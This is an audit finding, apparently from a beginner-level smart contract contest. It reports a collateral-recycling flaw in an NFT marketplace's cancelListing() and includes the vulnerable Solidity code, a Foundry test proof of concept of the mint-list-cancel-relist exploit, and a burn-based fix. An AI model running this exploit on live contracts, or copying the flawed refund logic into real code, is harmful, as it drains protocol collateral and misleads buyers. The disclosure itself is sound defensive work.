NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Collateral Recycling Attack Enables Unlimited NFT Minting and Sale with Reused Capital

Author Revealed upon completion

Seller Can Reclaim Collateral Without Losing The NFT, Then Re-List For Free

Description

The intended flow is that a user mints an NFT by locking lockAmount of USDC as collateral, and that collateral should remain economically tied to the NFT until the position is closed in a way that preserves the protocol's accounting assumptions.

In cancelListing(), the seller receives the full locked collateral back, but the NFT remains owned by the seller and can immediately be listed again. This breaks the mint-collateral invariant and lets an attacker recycle the same capital to accumulate and list multiple NFTs while paying only gas after the first mint cycle. The issue appears because the contract refunds collateral and zeroes the collateral record, but does not burn the NFT or otherwise invalidate its continued existence.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
//@audit - High - Refund USDC but not burning NFT or clear the owner -> can relisting again.
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}

Risk

Likelihood:

  • Any whitelisted minter can execute the mint -> list -> cancel -> re-list pattern using standard protocol functionality.

  • The attack is cheap to automate, since once the first collateral amount is recovered the attacker only spends gas to keep creating additional active listings.

Impact:

  • An attacker can accumulate multiple (if not all) NFTs and active listings without maintaining the intended USDC collateral backing for each minted NFT.

  • Buyers can purchase NFTs that are no longer collateralized as designed, while the attacker can still collect sale proceeds, breaking the protocol's economic model.

Proof of Concept

The following PoC can be put in test/NFTDealersTest.t.sol:

function testOwnMultiNFTWithoutLargeFund() public revealed whitelisted {
uint256 userWithCash_startingBalance = usdc.balanceOf(userWithCash);
vm.startPrank(userWithCash);
//first NFT
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 1000e6);
nftDealers.cancelListing(1);
nftDealers.list(1, 1000e6);
//second NFT
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(2, 1000e6);
nftDealers.cancelListing(2);
nftDealers.list(2, 1000e6);
//third NFT
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(3, 1000e6);
nftDealers.cancelListing(3);
nftDealers.list(3, 1000e6);
vm.stopPrank();
//the three minted NFTs are still active listings
uint256 totalActiveListing = nftDealers.totalActiveListings();
assertEq(totalActiveListing, 3);
//malicious user pay nothing but gas
uint256 userWithCash_endingBalance = usdc.balanceOf(userWithCash);
assertEq(userWithCash_endingBalance, userWithCash_startingBalance);
//test NFTs can still be bought
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 3000e6);
nftDealers.buy(1);
nftDealers.buy(2);
nftDealers.buy(3);
vm.stopPrank();
//Malicious user can still collect funds after selling
vm.startPrank(userWithCash);
nftDealers.collectUsdcFromSelling(1);
nftDealers.collectUsdcFromSelling(2);
nftDealers.collectUsdcFromSelling(3);
vm.stopPrank();
uint256 userWithCash_endingBalance2 = usdc.balanceOf(userWithCash);
assertGt(userWithCash_endingBalance2, userWithCash_endingBalance);
}

Recommended Mitigation

When collateral is refunded during cancelListing(), the NFT should be burned so the user cannot continue holding and re-listing an uncollateralized token.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
+ _burn(listing.tokenId);
emit NFT_Dealers_ListingCanceled(_listingId);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!